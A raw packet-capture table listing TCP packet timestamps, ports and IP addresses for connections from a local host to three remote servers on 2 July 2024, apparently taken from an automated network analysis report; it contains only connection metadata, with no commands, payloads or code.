Jul 2, 2024 08:22:15.358063936 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.358073950 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.358078957 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.358078957 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.358083010 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.358108997 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.367441893 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.367456913 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.367468119 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.367521048 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.369610071 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.369837046 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.369847059 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.369858980 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.369868040 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.369879007 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.369889975 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.369910002 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.369910002 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.370209932 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.370291948 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.448304892 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.448357105 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.448365927 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.448421955 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.448467016 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.448477030 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.448492050 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.448499918 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.448513031 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.448554039 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.448833942 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.448843002 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.448853016 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.448862076 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.448872089 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.448879957 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.448899031 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.448921919 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.449385881 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.449394941 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.449403048 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.449449062 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.449542999 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.449552059 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.449561119 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.449569941 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.449579954 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.449584007 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.449609041 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.449877024 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.450042009 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.450093985 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.450094938 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.450103045 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.450113058 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.450135946 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.450537920 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.450548887 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.450558901 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.450567961 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.450577974 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.450583935 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.450587034 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.450593948 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.450597048 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.450603008 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.450684071 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.451020002 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.451030016 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.451040030 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.451050997 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.451060057 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.451083899 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.451083899 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.451440096 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.451455116 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.451529980 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.451585054 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.451595068 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.451603889 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.451613903 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.451623917 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.451633930 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.451644897 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.451653004 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.451668978 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.451668978 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.451669931 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.459757090 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.459815979 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.459817886 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.459826946 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.459887981 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.460035086 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.460045099 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.460056067 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.460066080 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.460074902 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.460078001 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.460134983 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.460453987 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.460464954 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.460474968 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.460489988 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.460498095 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.460500002 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.460510015 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.460550070 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.504462957 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.504502058 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.504514933 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.504565954 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.541326046 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.541342020 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.541352987 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.541407108 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.541791916 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.541802883 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.541814089 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.541824102 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.541842937 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.541867018 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.541949987 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.541960001 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.542016983 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.542108059 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.542119980 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.542125940 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.542135954 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.542232037 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.542248011 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.542294979 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.542315006 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.542326927 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.542336941 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.542356968 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.542367935 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.542399883 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.542399883 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.542892933 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.542922020 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.542932034 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.542943954 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.542958975 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.542968988 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.542979002 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.542988062 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.542989016 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.542989016 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.542998075 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.543004990 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.543008089 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.543014050 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.543080091 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.543700933 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.543869972 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.543879986 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.543890953 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.543900013 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.543910027 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.543914080 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.543920040 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.543930054 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.543967009 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.543967009 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.543982029 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.544017076 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.544028044 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.544038057 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.544096947 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.544786930 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.544938087 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.544949055 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.544959068 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.544986963 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.545042038 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.545053005 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.545062065 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.545070887 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.545080900 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.545090914 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.545100927 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.545113087 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.545161009 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.545511961 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.545522928 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.545532942 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.545562983 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.546519041 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.546529055 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.546562910 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.546626091 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.547538996 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.547606945 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.547712088 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.547723055 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.547733068 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.547785044 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.547795057 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.547805071 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.547810078 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.547869921 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.547928095 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.547936916 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.547947884 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.547956944 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.547967911 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.547976971 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.547976971 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.547976971 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.547986984 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.547996998 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.548006058 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.548007965 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.548063993 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.548527002 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.548537016 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.548547029 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.548572063 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.548872948 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.548882961 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.548994064 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.549019098 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.549038887 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.549082041 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.549207926 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.549217939 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.549293995 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.549360991 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.549371958 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.549381018 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.549402952 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.549410105 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.549412966 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.549422979 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.549438953 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.549462080 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.549544096 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.549652100 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.549719095 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.549813986 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.552289009 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.552408934 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.552463055 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.552506924 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.552516937 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.552525997 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.552577019 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.552926064 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.553100109 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.553109884 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.553118944 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.553128004 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.553137064 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.553155899 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.597165108 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.597178936 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.597191095 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.597260952 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.597290039 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.597300053 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.597310066 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.597357035 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.597357035 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.597748995 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.633595943 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.633636951 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.633661985 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.633732080 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.633754969 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.633770943 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.633780956 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.633796930 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.633815050 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.633816004 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.633963108 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.634005070 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.634017944 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.634026051 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.634150982 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.634181023 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.634191036 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.634202003 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.634258986 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.634490013 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.634500027 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.634512901 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.634522915 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.634557962 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.809320927 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:15.809361935 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:15.809423923 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:15.813322067 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:15.813338995 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:15.849334955 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:15.851805925 CEST	80	49164	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:15.853367090 CEST	49164	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:16.120533943 CEST	49166	80	192.168.2.22	208.95.112.1
Jul 2, 2024 08:22:16.125406981 CEST	80	49166	208.95.112.1	192.168.2.22
Jul 2, 2024 08:22:16.125626087 CEST	49166	80	192.168.2.22	208.95.112.1
Jul 2, 2024 08:22:16.125739098 CEST	49166	80	192.168.2.22	208.95.112.1
Jul 2, 2024 08:22:16.130606890 CEST	80	49166	208.95.112.1	192.168.2.22
Jul 2, 2024 08:22:16.294203043 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.294466972 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.301321030 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.301336050 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.301651955 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.310682058 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.352493048 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.436758041 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.436815023 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.436851978 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.436887980 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.436887026 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.436904907 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.436928034 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.436950922 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.436989069 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.437007904 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.437014103 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.437050104 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.437067986 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.437072039 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.437138081 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.437138081 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.437144995 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.437411070 CEST	49165	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:16.444075108 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.528450966 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.528503895 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.528541088 CEST	443	49165	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:16.528577089 CEST	49165	443	192.168.2.22	188.114.96.3
